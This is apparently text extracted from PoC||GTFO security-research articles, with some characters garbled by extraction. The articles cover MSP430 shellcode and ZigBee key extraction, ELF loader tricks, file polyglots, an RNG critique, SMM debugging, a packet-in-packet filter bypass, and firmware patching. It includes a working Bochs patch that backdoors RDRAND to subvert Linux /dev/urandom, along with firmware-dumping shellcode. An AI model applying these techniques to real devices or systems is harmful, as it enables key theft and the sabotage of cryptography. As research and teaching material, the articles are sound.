recommended. Further instructions can be found by unzipping

pocorgtfo02.pdf.
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2:5 Some Shellcode Tips for MSP430

and Related MCUs

by Travis Goodspeed

Howdy y’all,

I’m writing this to introduce you as an exploiter of desktops

and servers to some of the tricks that I’ve used in writing shell-

code for microcontrollers, with examples from the MSP430 in

particular. You can try most of these examples on a GoodFET

or Facedancer board, and many of them are portable to other

embedded targets, such as AVR or the lower-end ARM devices.

Flash Patching is Weird

In Unix and Windows, you are used to processes operating within

virtual memory. On a microcontroller, they often run directly in

physical memory, so the rules are rather di�erent. It helps to

take the German approach, learning all of the rules to get away

with things that ought to be illegal.

The �rst di�erence you’ll run into on the MSP430 is that code

runs in-place from Flash memory. Flash has some very di�erent

rules from RAM, because it’s a di�erent technology and a proper

programmer knows better than to rely on layers of abstraction.

� Flash is erased to ones as segments or globally, never as

bytes or words.

� Flash writes clear bits at word granularity, but can’t set

them.

� Flash writes require a safety password to be written into a

register.

88





2 The Children’s Bible Coloring Book of PoCkGTFO

Figure 2.1: MSP430 Instruction Set, from the MSP430X2xx

Family User’s Guide

E�cient Shellcode

Quite often, the �rst thing you’ll do with shellcode is to dump

out the state of the microcontroller being attacked. It’s worth

studying ways to make that code in as few bytes as possible, as

a microcontroller generally processes very small packets and you

won’t have room for anything fancy.

To quickly dump memory on an architecture that you don’t

know very well, it helps to have simple code that already has its

environment con�gured. The code should be completely oblivious
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The second entry point is called the Soft Entry Point, and

it is rather poorly documented. The original idea was that a

program could return into the bootloader ROM by branching

to the address stored at 0x0C02, with some of the initialization

routines skipped. One of these routines is the instruction that

initializes the register holding password protection, so by setting

or clearing a bit in that register, the calling application can enable

or disable password checking.

While the soft entry point is sometimes useful to an MSP430

developer, it’s damned useful for an attacker. On an MSP430-

F1612, my favorite shellcode for dumping �rmware is a bit like

the following, which assembles to just six bytes of memory.

1 mov #0 xFFFF , r11 ;; Disable BSL password protection .

br &0 x0c02 ;; Branch to the BSL Soft Entry Point

Unused RAM is Not Erased at Reboot

In larger machines, memory which is not used by a process is not

mapped into that process’s virtual memory. In microcontrollers,

it is still accessible, since the code is running with physical rather

than virtual memory. Rather than reset every RAM word during

a reboot, most microcontrollers simply leave it alone and let the

program take care of clearing its values.

Now an MSP430 application is compiled with a view of mem-

ory that it sparingly uses. GCC, for example, will allocate code

(.text) into Flash from the lowest Flash address in its linker

script.

RAM is only used by the compiler for data, never for code,

unless the linker script is carefully and intentionally hand-crafted.

It is divided into two segments by the linker, .data and .bss.

The .data region is initialized by copying the data over from
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Zigbee Smart Energy Pro�le keys without a Certicom license?

The remaining vulnerability was a combination of the BSL

ROM with the ZStack �rmware. ZStack relied upon the BSL

ROM and the JTAG fuses to prevent keys and �rmware from

being read out of the device, but the BSL ROM was only intended

to keep code from being read out of the device. A second bug in

that Zigbee stack was that keys were stored in the .data segment

instead of the .text segment, so the �rmware would copy the key

from Flash into RAM during startup.

As a quick recap, the bootloader requires a password to run

most commands, but some are unprotected. Among them are

the ones to supply a password and the Mass Erase command,

which wipes all of Flash and resets the password, which is stored

in Flash, to 32 bytes of 0xFF.

So to get keys out of locked ZStack devices, I just needed to use

the serial bootloader, �rst sending the command to Mass Erase

and then�without losing power�to supply a password of all 0xFF

and then to dump all of RAM to disk. A little bit of RAM is

overwritten by the BSL’s call stack, but only the lowest 32 bytes.

Everything else is saved.

� � � � � � � � � � �

� � � � � �

� � � � � � � � � � �

I hope you �nd these tricks to be handy. If you’d like to hear

more, buy me a nice India Pale Ale.

� Travis
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2:6 Calling putchar() from an ELF

Weird Machine.

by Rebecca .Bx Shapiro

Pastor’s Exordium.8 Behold the daily miracle of the loader:

it takes stored dumb bytes and makes them into a new process or

splices them into a running one. The Pharisees may dismiss it as

mere engineering, but verily I tell you, long after their textbooks

are forgotten the loader and its Phrack exegesis will shine on, for

there is more wisdom gathered in its metadata structures than

can be found in a dozen OS textbooks.

Yet there is more! The binary metadata structures consumed

by the loader are actually a program for the loader. A weird

machine devotee will readily recognize that these data drive all

the actions behind the loader’s miracle; they can be thought of as

executable bytecode for the loader, which can be thought of as a

virtual machine. And just as assembly with all its glorious movs,

adds, and calls is encoded in opcodes and o�sets, ABI metadata

entries are encoded in types and addends, except that they are

split into symbols and relocation structures, residing in di�erent

sections of the binary but cross-referenced by their entry numbers

in the respective sections.

In this follow-up to earlier work, Bx shares more nifty tricks of

programming the ELF loader with relocation and symbol data as

weird assembly. This work is as advanced as it is neighborly, so

8How is a sermon like a binary �le? Both have prescribed parts that follow
each other in a conventional order, but may be skipped or used creatively
by an extra neighborly preacher. Convention is there to help, but it’s the
result that matters. So just think of exordium as the ELF/ABI header
or vice versa and bear with the Preacher as you bear with your binary
toolchain! �PML
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structs, but of course encoded in a .rel section) will make a call

to putchar(), printing the character of our choice:

1 r0 = { r_offset =<&r2 ->r_addend >, r_symbol =0,

r_type = R_X86_64_64 , r_addend =0 x0}

3 r1 = { r_offset =<char to print >, r_symbol =0,

r_type = R_X86_64_COPY , r_addend =0 x0}

5 r2 = { r_offset =&r2 , r_symbol =0, r_type = R_X86_64_IRELATIVE ,

r_addend =<& putchar ( filled in by r0) >}

The purpose of r0 is to write the address of putchar() into

r2’s addend. The purpose of r1 is to setup RDI (the �rst argu-

ment) for r2’s function call. When it is processed, memcpy() is

called with the following arguments: memcpy(<char to print>,

&putchar, 0). More generally, the call to memcpy() looks like:

memcpy(r1->r_offset, s0->st_value, s0->st_size).

After r1 is processed, 0 bytes are copied from &putchar to

<char to print>12, and RDI=<char to print>, RSI=&putchar,

and RDX=0. r2, of type R_X86_64_IRELATIVE, instructs the

12Note, memcpy would treat it as a destination pointer, but luckily nothing
gets copied here, and the memcpy implementation isn’t paranoid about
checking its arguments, since a bad pointer would trap anyway.
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446 case R_X86_64_IRELATIVE :

value = map -> l_addr + reloc -> r_addend ;

448 value = (( Elf64_Addr (*) (void)) value ) ();

* reloc_addr = value ;

450 break ;

case R_X86_64_COPY :

430 if (sym == NULL)

/* This can happen in trace mode if an object could not be

432 found. */

break ;

434 memcpy ( reloc_addr_arg , (void *) value ,

MIN (sym ->st_size , refsym -> st_size ));

436 if ( __builtin_expect (sym -> st_size > refsym ->st_size , 0)

|| ( __builtin_expect (sym -> st_size < refsym ->st_size , 0)

438 && GLRO( dl_verbose )))

{

440 fmt = "%s: Symbol ‘%s’ has different size in shared "

" object , consider re - linking \n";

442 goto print_err ;

}

444 break ;
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48 0 x7ffff7ce1191 :test $0x80 ,% ah

0 x7ffff7ce1194 :jne 0 x7ffff7ce11ea

50 0 x7ffff7ce1196 :mov %fs :0x10 ,% r9

0 x7ffff7ce119f :mov 0x88 (% rbx) ,%rdx

52 0 x7ffff7ce11a6 :cmp 0x8 (% rdx) ,%r9

0 x7ffff7ce11aa :je 0 x7ffff7ce11df

54 (gdb) print /x $rsi

$4 = 0 x7ffff7ce1184
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2:7 POKE of Death for the TRS 80

Model 100

by Dave Weinstein

Figure 2.3: POKE 62975, 0

In his Epistle on the Divinity of Languages, PoCkGTFO 1:7,

Pastor Manul Laphroaig wrote of the merits of PEEK and POKE

in teaching the youth of a previous generation how to �ddle with

hardware in ways the hardware did not want to be �ddled.

And so I o�er to you a short example of the wonders of POKE

as applied to interrupt handlers.

In 1983, Radio Shack introduced the Model 100, a copy of the

Kyocera Kyotronic 85. With its 40 character wide 8-line screen,

built-in 300 baud modem, and up to 32k of RAM, it was a state

of the art laptop, capable of generating endless questions from

passengers and crew on any �ight.

In high memory, there is a vector at 0xF5FF, which allows a

program to hook the keyboard/clock interrupt. Every 4 ms or so,

the timer interrupt �res, and the keyboard is polled. By default,

the vector is a simple RET NOP NOP.
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Pastor Laphroaig tells us that the news is stranger than �ction,

because unlike the news, �ction requires an element of truth.
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PDF �les are a mixture of text and binary fragments, which

are parsed from the start of the �le and delimited by words and

newlines. The requirements for a valid PDF are also simple and

surprisingly �exible:

� It is initially parsed as text.

� The signature �%%PDF-� must be present within the �rst

1024 bytes. It can be present there twice or more.

� Comment lines begin with �%�, which is 0x25 in hex.

� Binary characters other than CRLF are acceptable in a

comment.

� Multi-line binary objects or simply larger objects can also

be stored in object streams, which are declared like this:

1 <obj number > <revision > obj

<<>>

3 stream

<stream content >

5 endstream

endobj

Strategy

In most cases, we can freely prepend anything at the start of the

�le as long as the above requirements are ful�lled. Luckily, the %

comment character is 0x25, which encodes nicely as an x86 AND

instruction. Thus, the head of the �le can be 25FFFF: and ax,

0xffff, which also starts a PDF comment. We can then add

a jump into the next part of the code, which will be stored in

a dummy object stream below, and then �nish our �rst line.

Adding a PDF signature will prevent any potential problem in

case the stream object is too long: it can then contain anything,
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is stored not in cleartext as in PDF 1.4, but rather as a separate,

compressed object. This con�guration choice is made for the

user by the TeX distribution, so even a freshly updated pd�atex

installation may generate PDF 1.4 documents.

Even when compressed, corrupted XREFs are recovered by

some readers, such as GS and Sumatra. Unfortunately, Foxit,

Adobe, Firefox, Chrome, and Poppler-based readers�such as

Evince and Okular�would reject such a document. Although

rejecting corrupted documents out of hand is the best strategy,

even Pastor Laphroaig would be pretty pissed if folks couldn’t

read his epistles because of this.

A simple and elegant workaround that achieves 100% reader

compatibility with our MBR PDF is to make sure that, even if

your pd�atex distribution generates a 1.5 format document, it

doesn’t compress the XREF. This is easily done by adding the

following command to your LATEX source.

1 \ pdfobjcompresslevel =0

This command will cause pd�atex to store non-objects uncom-

pressed while still taking advantage of other 1.5 features such as

reducing document bloat. I should add that, although the �x

looks trivial, �nding the real cause and the most elegant solution

was a challenge.

� � � � � � � � � � �

� � � � � �

� � � � � � � � � � �

Enjoy booting pocorgtfo02.pdf, and be sure to share copies�

both electronic and paper�so that your neighbors can enjoy it

as well!
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CALC.EXEkGTFO
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1 // These functions form an RNG.

function millis () { return Date.now () ;}

3 function flip_coin (){

n=0; then = millis () +1;

5 while ( millis () <=then) {n=!n;}

return n;

7 }

function get_fair_bit (){

9 while (1) {

a= flip_coin ();

11 if(a!= flip_coin ()) { return (a);}

}

13 }

function get_random_byte (){

15 n=0; bits =8;

while (bits --){

17 n < <=1;

n|= get_fair_bit ();

19 }

return n;

21 }

23 // Use it like this.

report_console = function () {

25 while (1){ console .log( get_random_byte ());}

}

27 report_console ();

Figure 2.4: Dakarand Crackme

116





2 The Children’s Bible Coloring Book of PoCkGTFO

Value Count Hamming Weight

255 22 8

254 23 7

251 28 7

253 29 7

127 32 7

239 34 7

191 34 7

223 36 7

247 37 7

. . . . . . . . .

132 1173 2

64 1821 1

32 1881 1

16 1922 1

1 1934 1

8 2000 1

4 2042 1

2 2133 1

128 2145 1

0 3918 0

Table 2.1: RNG can be biased toward low hamming weights.
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Loading the page in Chromium and Firefox and throwing them

into gnuplot, we get the graphs shown in Figure 2.5.

We can see that the graph for Chromium has a lot more vari-

ance in the number of coin �ip within a millisecond than that for

Firefox. Although, strictly speaking, it might still be possible to

get good randomness with poor variance if the few frequent val-

ues were to alternate just so due to some underlying scheduling

magic, it seems reasonable to expect that the same magic would

also increase the variance in the �ip numbers.

We can also see, with the help of simple UNIX tools, that

Chromium counts do not peak out to a certain value, unlike those

of Firefox:
$ sort iter_Firefox |

2 uniq -c | sort -n

...

4 176 64683

181 64671

6 195 64673

195 64684

8 207 64717

217 64672

10 286 64718

318 64721

12 393 64719

405 64720

vs.

1 $ sort iter_Chromium |

uniq -c | sort -n

3 ...

15 45147

5 15 45282

16 44947

7 16 45004

16 45010

9 16 45076

16 45086

11 17 45059

17 45107

13 19 45092

Closing words

In conclusion we see that in Firefox under stress Dan’s RNG

appears to fail at exactly the point he wanted to use as the

main source of randomness. The tiny clock di�erentials used to

gather the entropy are not given often enough in Firefox. There

is still much room to stress this RNG implementation. Bonus

rounds would include �guring exactly what the signi�cant di�er-

ence between the Firefox and Chromium JavaScript runtime is

that causes this malfunction on Firefox. Also attacks on other
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JavaScript runtimes would be interesting to see. It might even

be the case that this implementation has di�erent results under

di�erent conditions with respect to CPU load.

A broader question occurs: The Dakarand RNG relies on what

could be called a �code clock.� It may be that in many kinds of

environments stressed code clocks tend to go into phase with one

another. Driven by stress to seek comfort in each other’s rhythms,

their chance encounters may grow into something more close and

intimate, grinding into periodic patterns. Which, of course, is bad

for randomness. Can we learn to tell such environments from

others, where periodization with stress doesn’t happen? �PML
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This page intentionally left blank.

Draw your own damned picture.
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vices from the operating system and to build a GDB stub that

runs within SMM despite certain limitations of the IA32 archi-

tecture.

In PoCkGTFO 3:5, Travis Goodspeed shares with us three

mitigation bypasses for a packet-in-packet defense that was pub-

lished at Wireless Days. The �rst two bypasses aren’t terribly

clever, but the third is a whopper. The attacker can bypass the

defense’s �lter by sending symbols that become the intended mes-

sage when left-shifted by one eighth of a nybble. What the hell

is an eighth of a nybble, you ask? RTFP to �nd out.

Conventional wisdom says that by XORing a bad RNG with

a good one, the worst-case result will be as good as the better

source of entropy. In PoCkGTFO 3:6, Taylor Hornby presents a

nifty little PoC for Bochs that hooks the RDRAND instruction

in order to backdoor /dev/urandom on Linux 3.12.8. It works by

observing the stack in order to cancel out the other sources of

entropy.

We all know that the Internet was invented for porn, but Assaf

Nativ shows us in PoCkGTFO 3:7 how to patch a feature phone in

order to create a Kosher Phone that can’t be used to access porn.

Along the way, he’ll teach you a thing or two about how to bypass

the minimal protections of Nokia feature phone’s �rmware.
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isters (that is, pushing the numbers in them on top of the stack

or copying the top of the stack into them), the branches and the

loops. There was never a question how any operation worked:

I always knew what registers were involved, and had to know

this in order to program anything at all. No detail of the pro-

gramming model could be left as �magic� to �understand later�;

no vaguely understood part could be left glossed over to �do real

work now.� There were no magical incantations to cut-and-paste

to make something work without understanding it.

I did not recognize how lucky I had been until, many years

later, I decided to take up �real� industrial programming, which

back then meant C++. Suddenly my head was full of Inheritance,

Overloading, Encapsulation, Polymorphism, and suchlike things,

all with capital letters. I learned their de�nitions, pasted large

blocks of code, and enthusiastically puzzled over tricky questions

from these Grand Principles of Object Oriented Programming

such as, �if a virtual function is also overloaded, which version

will be called?� In retrospect, my time would have been better

spent researching whether Superman would win over Batman.

At about the same time I learned about New Math. It was

born of the original Sputnik Moment and was the grand idea to

reform the teaching of mathematics to school children so that

they would make better Sputniks, and faster. The earth-bound

kind of arithmetic that was useful in a shop class would be re-

placed by the deeper, space-age kind.

That Sputnik must have carried a psychotronic weapon. There

is no other sane explanation for why the schooling of American

engineers�those who launched the same kind of satellite just

four months later�suddenly wasn’t deemed good enough. A

whole industry arose to print new, more expensive textbooks,

with Ph.D.s in space-age math education to match; teachers were

told to abandon the old ways and teach to the new standards.
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Wonder of Progress can stand close to New Math: the way that

children are locked in a room with a literate adult for most of the

day, for years, and still emerge unable to read. People couldn’t

pull that o� in the Dark Ages; this takes Science to organize.

What came after New Math was even worse. Some of the school

children who could barely count but knew the Important Con-

cepts became teachers and teachers of teachers. Others realized

that despite all the Big Ideas the skill of math was vanishing.

They saw the fruits of Big Idea pushers dismissing drill; they

concluded that drill was the key to the skill. So subsequent re-

forms barreled between repetitive, senseless rote and more Capi-

tal Letter Words. These days it seems that Discovery, Higher Or-

der, Critical Thinking are in fashion, which means children must

waste days of school time �discovering� Pi and suchlike, working

through countless vaguely de�ned steps, only to memorize what-

ever the teacher would tell them these activities meant in the

end. Now we have the worst of all: wasted time and boredom

without any productive skill actually learned. The only thing

than can be learned in such a class is helplessness and putting

up with pretentious waste of time, or worse!, mistaking this for

actual math.

I was beginning to feel pretty helpless in the world of C++

Important Concepts of Object Oriented Programming. I was

yearning for my old calculator, where I did not have to learn a

magical order of mystery buttons to press in order to get the

simplest program to work. Having had a book fetish since child-

hood, I hoped for a while that I just hadn’t found the right one to

Unleash or Dummify myself in 21 Days. I was like a school child

who could hardly suspect that the latest textbook with brightly

colored pictures is full of vague unmathematical crap that would

horrify actual mathematicians. (More likely, such mathemati-

cians of ages past would run the textbook authors through in a
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to these idols. They made many useless manuscripts that would

break a mule’s back but which these children had to carry to and

from school. And making a whip of cords, I drove them all out of

the temple, screaming �This is a waste of time and paper! Trees

will grow back hundredfold if you let them alone, for nature can-

not be screwed, but who will restore to the old the lost time of

their youth?�

They taught, �Lo this is Commutative and Higher Order, or

else this is a Reference, and this is a Pointer.� And when I

asked them, �How do you add numbers, and how does your linker

work?�, they demurred and spoke of Abstraction and Patterns.

Verily I tell you, if you don’t know how to do your Abstractions

on paper and what they compile into, you are worshiping idols

and wasting your time. And if you teach that to children, you

are sacri�cing their time and their minds to your graven images.

Repent and smash your graven idols to bits, and teach your chil-

dren about the smashing and the bits and the bytes instead, for

these are the only skills that matter!
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3:3 This PDF is a JPEG; or,

This Proof of Concept is a

Picture of Cats

by Ange Albertini

In this short little article, I’ll teach you how to combine a PDF

and a JPEG into a single polyglot �le that is legal and meaningful

in both languages.

The JPEG format requires its Start Of Image signature, FF

D8, at o�set 0x00, exactly. The PDF format o�cially requires

its %PDF-1.x signature to be at o�set 0x00, but in practice most

interpreters only require its presence within the �rst 1,024 bytes

of the �les. Some readers, such as Sumatra, don’t require the

header at all.

In previous issues of this journal, you saw how a neighbor can

combine a PDF document with a ZIP archive (PoCkGTFO 1:5)

or a Master Boot Record (PoCkGTFO 2:8), so you should al-

ready know the conditions to make a dummy PDF object. The

trick is to �t a fake obj stream in the �rst 1024 bytes contain-

ing whatever your second �le demands, then to follow that obj

stream with the contents of your real PDF.

To make these two formats play well together, we’ll make our

�rst insert object stream clause of the PDF contain a JPEG

comment, which will usually start at o�set 0x18. Our PDF com-

ment will cause the PDF interpreter ignore the remaining JPEG

data, and the actual PDF content can continue afterward.

Unfortunately, since version 10.1.5, Adobe Reader rejects PDF

�les that start like a JPEG �le ought to. It’s not clear exactly

why, but as all o�cial segment markers start with FF, this is what

Adobe Reader checks to identify a JPEG �le. Adobe PDF Reader

will reject anything that begins with FF D8 FF as a JPEG.
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and friends, your authors built a friendlier tool, NetWatch. We

bill NetWatch as a sort of lights-out box for System Management

Mode. The theory of operation is that by stealing cycles from the

host process and taking control over a secondary NIC, NetWatch

can provide a VNC server into a live machine. With additional

care, it can also behave as a GDB server, allowing for remote

debugging of the host operating system.

We invite our neighbors to explore our work in more detail,

and build on it should you choose to. It runs on older hardware,

the Intel ICH2 platform to be speci�c, but porting it to newer

hardware should be easy if that hardware is amenable to loading

foreign SMM code or if an SMM vulnerability is available. Like

all good tools in this modern era, source code is available.1

We take the remainder of this space to discuss some of the

clever tricks that were necessary to make NetWatch work.

A thief on the PCI bus.

To be able to communicate with the outside world, NetWatch

needs a network card of its own. One problem with such a con-

cept is that the OS might want to have a network card, too; and,

indeed, at boot time, the OS may steal the NIC from however

NetWatch has programmed it. We employ a particularly inele-

gant hack to keep this from happening.

The obvious thing to do would be to intercept PCI con�gu-

ration register accesses so that the OS would be unable to even

prove that the network card exists! Unfortunately, though there

are many things that a System Management Interrupt can be con-

�gured to trap on, PCI con�g space access is not a supported trap

on ICH2. ICH2 does provide for port I/O traps on the South-

1git clone https://github.com/jwise/netwatch

unzip pocorgtfo03.pdf netwatch-337f8b1.tar.gz
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FLAGS/EFLAGS/RFLAGS register, which causes a debug ex-

ception at the end of the next instruction after it is set. The

kernel can set TF as part of an IRET, which causes the CPU

to execute one instruction of the program being debugged and

then switch back into the kernel. Unfortunately Intel, in all their

wisdom, neglected to provide an analog of this feature for SMM.

When NetWatch’s GDB slave receives a single-step command, it

needs to return from SMM and arrange for the CPU to execute

exactly one instruction before trapping back in to SMM. If Intel

provides no bit for this, how can we accomplish it?

Recall that the easiest way to enter SMM is with an I/O port

trap. On many machines, port 0xB2 is used for this purpose.

You may �nd that MSR SMI_ON_IO_TRAP_0 (0xC001_0050) has

already been suitably set. NetWatch implements single-step by

reusing the standard single-step exception mechanism chained to

an I/O port trap.

Suppose the system was executing a program in user-space

when NetWatch stopped it. When we receive a single step com-

mand, we must insert a soft breakpoint into the hard breakpoint

handler. This takes the form of an OUT instruction that we can

trap into the #DB handler that we otherwise couldn’t trap.

� Track down the location of the IDT and the target of the

#DB exception handler.

� Replace the �rst two bytes of that handler with E6 B2, �out

%al, $0xb2.�

� Save the %cs and %ss descriptor caches from the SMM

saved state area into reserved spots in SMRAM.

� Return from SMM into the running system.

Now that SMM has ceded control back to the regular system, the

following will happen.

146





3 Address on the Smashing of Idols to Bits and Bytes

148





3 Address on the Smashing of Idols to Bits and Bytes

3:5 An Advanced Mitigation Bypass for

Packet-in-Packet; or,

I’m burning 0day to use the phrase

‘eighth of a nybble’ in print.

by Travis Goodspeed

continuing work begun in collaboration

with the Dartmouth Scooby Crew

Howdy y’all,

This short little article is a follow-up to my work on 802.15.4

packet-in-packet attacks, as published at Usenix WOOT 2011.

In this article, I’ll show how to craft PIP exploits that avoid

the defense mechanisms introduced by the �ne folks at Carleton

University in Ontario.

As you may recall, the simple form of the packet-in-packet

attack works by including the symbols that make up a Layer

1 packet at Layer 7. Normally, the interior bytes of a packet

are escaped by the outer packet’s header, but packet collisions

sometimes destroy that header. However, collisions tend to be

short and so leave the interior packet intact. On a busy band like

2.4GHz, this happens often enough that it can be used reliably

to inject packets in a remote network.

At Wireless Days 2012, Biswas and company released a short

paper entitled A Lightweight Defence against the Packet in Packet

Attack in ZigBee Networks. Their trick is to use bit-stu�ng of

a sort to prevent control information from appearing within the

payload. In particular, whenever they see four contiguous 00

symbols, they stu� an extra FF before the next symbol in order

to ensure that the Zigbee packet’s preamble and Start of Frame

Delimiter (also called a Sync) are never found back-to-back inside
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the hardware receiver!�we can perform a packet-in-packet injec-

tion without getting caught by the �lter.

You’ll recall that I told you 802.15.4 symbols were nybble-

sized. That’s almost true, but strictly speaking, it’s a comforting

lie told to children. The truth is that there’s a lower layer, where

each nybble of the message is sent as 32 ones and zeroes, which

are called ‘chips’ to distinguish them from higher-layer bits.

The symbols and chip sequences are de�ned like this in the

802.15.4 standard. As each chip sequence has a respectably large

Hamming distance from the others, an error-correcting symbol

matcher on the receiving end can �nd the closest match to a sym-

bol that arrives damaged.3 This �x is absolutely transparent�by

design�to all upper layers, starting with the symbol layer where

SFD is matched to determine where a packet starts.

1 0 -- 11011001110000110101001000101110

1 -- 11101101100111000011010100100010

3 2 -- 00101110110110011100001101010010

3 -- 00100010111011011001110000110101

5 4 -- 01010010001011101101100111000011

5 -- 00110101001000101110110110011100

7 6 -- 11000011010100100010111011011001

7 -- 10011100001101010010001011101101

9

11 8 -- 10001100100101100000011101111011

9 -- 10111000110010010110000001110111

13 A -- 01111011100011001001011000000111

B -- 01110111101110001100100101100000

15 C -- 00000111011110111000110010010110

D -- 01100000011101111011100011001001

17 E -- 10010110000001110111101110001100

F -- 11001001011000000111011110111000

3Note that Hamming-distance might not be the best metric to match the
symbol. Other methods, such as �nding the longest stretch of perfectly-
matched chips, will still work for the bypass presented in this article.
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So when the radio is looking for A7 and sees B0, the error

calculation looks a little like this.

BO -- 77 B8C960D9C3522E

2 |||||||| <--Chips are nearly equal .

A7 -- 7 B8C96079C3522ED

For the �rst symbol, the receiver expects the A symbol as

7B8C9607 but it gets 7B8C960D. Note that these only di�er by the

last four chips, and that the Hamming distance between 0111 and

1101 is only two, so the di�erence between an A and a misaligned

B in this case is only two.

It’s easy to show that the worst o�-by-one misalignment would

make the Hamming distance di�er by at most four. Comparing

this with the distance between the existing symbols, you will see

that they are all much further apart from one other. So we can

obfuscate an entire inner packet, letting the receiver and a bit

of radioland magic translate our packet from legal symbols into

ones that ought to have been escaped.

Ain’t that nifty?

� � � � � � � � � � �

This technique of abusing sub-symbol misalignment to send

a corrupted packet-in-packet which is reliably transformed back

into a correct, meaningful packet should be portable to protocols

other than 802.15.4.

For example, most Phase Shift Keyed (PSK) protocols can

have phase misalignment that causes symbols to be confused for

each other. Frequency Shift Keyed (FSK) protocols can have

frequency misalignment when on neighboring channels, so that

sometimes one channel in 2 FSK will see a packet intended for a

neighboring channel, but with all or most of the bits �ipped.

One last subject I should touch on is a fancy attempt by

Michael Ossmann and Dominic Spill to defend against packet-

in-packet attacks which was presented at Shmoocon 2014 and in
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Hey kids!

Xerox this page and cut the paper strips apart.

You can write your own odd-alignment packet-in-packet

injection strings!
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1 static void extract_buf ( struct entropy_store *r, __u8 *out){

// ... hash the pool and other stuff ...

3 /* If we have a architectural hardware random number

* generator , mix that in, too. */

5 for (i = 0; i < LONGS ( EXTRACT_SIZE ); i++) {

unsigned long v;

7 if (! arch_get_random_long (&v))

break ;

9 hash.l[i] ^= v;

}

11 memcpy (out , &hash , EXTRACT_SIZE );

memset (& hash , 0, sizeof (hash));

13 }

This function does some tricky SHA1 hashing stu� to the en-

tropy pool, then XORs RDRAND’s output with the hash before

returning it. That arch_get_random_long() call is RDRAND.

What this function returns is what you get when you read from

/dev/(u)random.

What could possibly be wrong with this? If the hash is random,

then it shouldn’t matter whether RDRAND output is random or

not, since the result will still be random, right?

That’s true in theory, but the hash value is in memory when

the RDRAND instruction executes, so theoretically, it could �nd

it, then return its inverse so the XOR cancels out to ones. Let’s

see if we can do that.

First, let’s look at the X86 disassembly to see what our modi-

�ed RDRAND instruction would need to do.

1 c03a_4c80 : 89 d9 mov ecx ,ebx

c03a_4c82 : b9 00 00 00 00 mov ecx ,0 x0 ; These become

3 c03a_4c87 : 8d 76 00 lea esi ,[ esi +0 x0] ;" rdrand eax"

c03a_4c8a : 85 c9 test ecx ,ecx

5 c03a_4c8c : 74 09 je c03a4c97

c03a_4c8e : 31 02 xor DWORD PTR [edx],eax

7 c03a_4c90 : 83 c2 04 add edx ,0 x4

c03a_4c93 : 39 f2 cmp edx ,esi

9 c03a_4c95 : 75 e9 jne c03a4c80
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replace it with a malicious implementation, one that sabotages

the kernel, and only the kernel, when it tries to produce random

numbers.

BX_INSF_TYPE BX_CPP_AttrRegparmN (1) BX_CPU_C :: RDRAND_Ed (

2 bxInstruction_c *i){

Bit32u rdrand_output = 0;

4 Bit32u xor_with = 0;

6 Bit32u ebx = get_reg32 ( BX_32BIT_REG_EBX );

Bit32u edx = get_reg32 ( BX_32BIT_REG_EDX );

8 Bit32u edi = get_reg32 ( BX_32BIT_REG_EDI );

Bit32u esp = get_reg32 ( BX_32BIT_REG_ESP );

10
const char output_string [] = "PoC || GTFO !\n";

12 static int position = 0;

14 Bit32u addr = 0;

static Bit32u last_addr = 0;

16 static Bit32u second_last_addr = 0;

18 /* We only want to change RDRAND ’s output if it’s being

used for thevulnerable XOR in extract_buf (). This

20 only happens in Ring 0.

*/

22 if (CPL == 0) {

/* The address of the value our output will get XORed

24 with is pointed to by one of the registers , and is

somewhere on the stack. We can use that to tell if

26 we’re being executed in extract_buf () or somewhere

else in the kernel. Obviously , the exact registers

28 will vary depending on the compiler , so we have to

account for a few different possibilities. It’s

30 not perfect , but hey , this is a PoC.

32 * This has been tested on 32-bit versions of

* - Tiny Core Linux 5.1

34 * - Arch Linux 2013.12.01 (booting from cd)

* - Debian Testing i386 (retrieved December 6, 2013)

36 * - Fedora 19.1

*/

38 if (esp <= edx && edx <= esp + 256) {

addr = edx;

40 } else if (esp <= edi && edi <= esp + 256

&& esp <= ebx && ebx <= esp + 256) {

42 /* With CONFIG_CC_OPTIMIZE_FOR_SIZE=y, either:

* - EBX points to the current index ,
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44 * EDI points to the end of the array.

* - EDI points to the current index ,

46 * EBX points to the end of the array.

* To distinguish the two , we compare them.

48 */

if (edi <= ebx) {

50 addr = edi;

} else {

52 addr = ebx;

}

54 } else {

/* It’s not extract_buf (), so cancel the

56 backdooring. */

goto do_not_backdoor ;

58 }

60 /* Read what our output will be XORed with. */

xor_with = read_virtual_dword ( BX_SEG_REG_DS , addr);

62
Bit32u urandom_output = 0;

64 Bit32u advance_length = 4;

Bit32u extra_shift = 0;

66
/* Only the first two bytes get used on the third

68 RDRAND execution. */

if (addr == last_addr + 4

70 && last_addr == second_last_addr + 4){

advance_length = 2;

72 extra_shift = 16;

}

74
/* Copy the next string portion into the output. */

76 for (int i = 0; i < advance_length ; i++) {

/* The characters must be added backwards ,

78 because little endian. */

urandom_output >>= 8;

80 urandom_output |= output_string [ position ++] << 24;

if ( position >= strlen ( output_string )) {

82 position = 0;

}

84 }

urandom_output >>= extra_shift ;

86
second_last_addr = last_addr ;

88 last_addr = addr;

90 rdrand_output = xor_with ^ urandom_output ;
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3:7 Patching Kosher Firmware

for the Nokia 2720

by Assaf Nativ

D7 90 D7 A1 D7 A3 D7 A0 D7 AA D7 99 D7 91

in collaboration with two anonymous coworkers.

This fun little article will introduce you to methods for patch-

ing �rmware of the Nokia 2720 and related feature phones. We’ll

abuse a handy little bug in a child function called by the veri-

�cation routine. This modi�cation to the child function that we

can modify allows us to bypass the parent function that we cannot

modify. Isn’t that nifty?

A modern feature phone can make phone calls, send SMS or

MMS messages, manage a calendar, listen to FM radio, and play

Snake. Its web browser is dysfunctional, but it can load a few

websites over GPRS or 3G. It supports Bluetooth, those fancy

ringtones that no one ever buys, and a calculator. It can also

take ugly low-resolution photos and set them as the background.

Not content with those unnecessary features, the higher end of

modern feature phones such as the Nokia 208.4 support Twitter,

WhatsApp, and a limited Facebook client. How are the faithful to

study their scripture with so many distractions?

A Kosher phone would be a feature phone adapted to the unique

needs of a particular community of the Orthodox Jews. The gen-

eral idea is that they don’t want to be bothered by the outside

world in any way, but they still want a means to communicate

between themselves without breaking the strict boundaries they

made. They wanted a phone that could make phone calls or cal-

culate, but that only supported a limited list of Hasidic ringtones

and only used Bluetooth for headphones. They would be extra

happy if a few extra features could be added, such as a Jewish
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article, so I will start with just one of them, and just a single

part that I �nd most interesting.

Nokia has quite a few series of phones which di�er in the

�rmware structure and �rmware protection. SIM-locking has

been prohibited in the Israeli market since 2010, but these pro-

tections also exist to keep neighbors from playing with baseband

�rmware modi�cations, as that might ruin the GSM network.

Nokia phones are divided into a number of baseband series.

The oldest, DCT1, works with the old analog networks. DCT3,

